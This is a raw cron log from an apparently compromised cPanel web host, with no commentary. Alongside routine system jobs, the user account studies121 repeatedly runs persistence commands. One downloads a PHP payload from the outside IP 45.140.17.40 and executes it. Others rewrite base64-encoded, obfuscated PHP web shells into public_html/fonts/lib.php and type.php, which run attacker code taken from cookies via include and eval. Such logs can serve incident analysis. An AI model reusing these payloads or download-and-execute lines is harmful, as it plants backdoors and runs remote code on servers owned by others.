Sep 22 00:50:01 ip-184-168-122-23 CROND[15056]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 22 00:50:01 ip-184-168-122-23 CROND[15058]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 22 00:50:01 ip-184-168-122-23 CROND[15057]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 22 00:50:01 ip-184-168-122-23 CROND[15060]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep 22 00:50:01 ip-184-168-122-23 CROND[15063]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 22 00:50:01 ip-184-168-122-23 CROND[15062]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 22 00:50:01 ip-184-168-122-23 CROND[15061]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 22 00:51:01 ip-184-168-122-23 CROND[15183]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 22 00:51:01 ip-184-168-122-23 CROND[15184]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 22 00:51:01 ip-184-168-122-23 CROND[15185]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 22 00:51:01 ip-184-168-122-23 CROND[15186]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 22 00:52:01 ip-184-168-122-23 CROND[15370]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 22 00:52:01 ip-184-168-122-23 CROND[15372]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 22 00:52:01 ip-184-168-122-23 CROND[15373]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 22 00:52:01 ip-184-168-122-23 CROND[15375]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 22 00:52:01 ip-184-168-122-23 CROND[15374]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 22 00:53:01 ip-184-168-122-23 CROND[15478]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 22 00:53:01 ip-184-168-122-23 CROND[15479]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 22 00:53:01 ip-184-168-122-23 CROND[15480]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 22 00:53:01 ip-184-168-122-23 CROND[15481]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 22 00:54:01 ip-184-168-122-23 CROND[15577]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 22 00:54:01 ip-184-168-122-23 CROND[15579]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 22 00:54:02 ip-184-168-122-23 CROND[15580]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 22 00:54:02 ip-184-168-122-23 CROND[15581]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 22 00:54:02 ip-184-168-122-23 CROND[15582]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 22 00:55:01 ip-184-168-122-23 CROND[15744]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 22 00:55:01 ip-184-168-122-23 CROND[15746]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 22 00:55:01 ip-184-168-122-23 CROND[15745]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 22 00:55:01 ip-184-168-122-23 CROND[15747]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 22 00:55:01 ip-184-168-122-23 CROND[15748]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 22 00:55:01 ip-184-168-122-23 CROND[15752]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 22 00:56:01 ip-184-168-122-23 CROND[15861]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 22 00:56:01 ip-184-168-122-23 CROND[15863]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 22 00:56:01 ip-184-168-122-23 CROND[15864]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 22 00:56:01 ip-184-168-122-23 CROND[15865]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 22 00:56:01 ip-184-168-122-23 CROND[15869]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 22 00:57:01 ip-184-168-122-23 CROND[16003]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 22 00:57:01 ip-184-168-122-23 CROND[16004]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 22 00:57:01 ip-184-168-122-23 CROND[16008]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 22 00:57:01 ip-184-168-122-23 CROND[16007]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 22 00:58:01 ip-184-168-122-23 CROND[16190]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 22 00:58:01 ip-184-168-122-23 CROND[16188]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 22 00:58:01 ip-184-168-122-23 CROND[16189]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 22 00:58:01 ip-184-168-122-23 CROND[16192]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 22 00:58:01 ip-184-168-122-23 CROND[16191]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 22 00:59:01 ip-184-168-122-23 CROND[16310]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 22 00:59:01 ip-184-168-122-23 CROND[16312]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 22 00:59:01 ip-184-168-122-23 CROND[16313]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 22 00:59:01 ip-184-168-122-23 CROND[16314]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 22 01:00:01 ip-184-168-122-23 CROND[16419]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep 22 01:00:01 ip-184-168-122-23 CROND[16423]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 22 01:00:01 ip-184-168-122-23 CROND[16426]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 22 01:00:01 ip-184-168-122-23 CROND[16424]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 22 01:00:01 ip-184-168-122-23 CROND[16425]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 22 01:00:01 ip-184-168-122-23 CROND[16429]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 22 01:00:01 ip-184-168-122-23 CROND[16430]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 22 01:00:01 ip-184-168-122-23 CROND[16431]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 22 01:01:01 ip-184-168-122-23 CROND[16581]: (root) CMD (run-parts /etc/cron.hourly)
Sep 22 01:01:01 ip-184-168-122-23 CROND[16582]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep 22 01:01:01 ip-184-168-122-23 CROND[16584]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 22 01:01:01 ip-184-168-122-23 CROND[16585]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 22 01:01:01 ip-184-168-122-23 CROND[16588]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 22 01:01:01 ip-184-168-122-23 CROND[16589]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 22 01:01:01 ip-184-168-122-23 run-parts(/etc/cron.hourly)[16581]: starting 0anacron
Sep 22 01:01:01 ip-184-168-122-23 anacron[16602]: Anacron started on 2026-09-22
Sep 22 01:01:01 ip-184-168-122-23 anacron[16602]: Normal exit (0 jobs run)
Sep 22 01:01:01 ip-184-168-122-23 run-parts(/etc/cron.hourly)[16604]: finished 0anacron
Sep 22 01:02:01 ip-184-168-122-23 CROND[16744]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
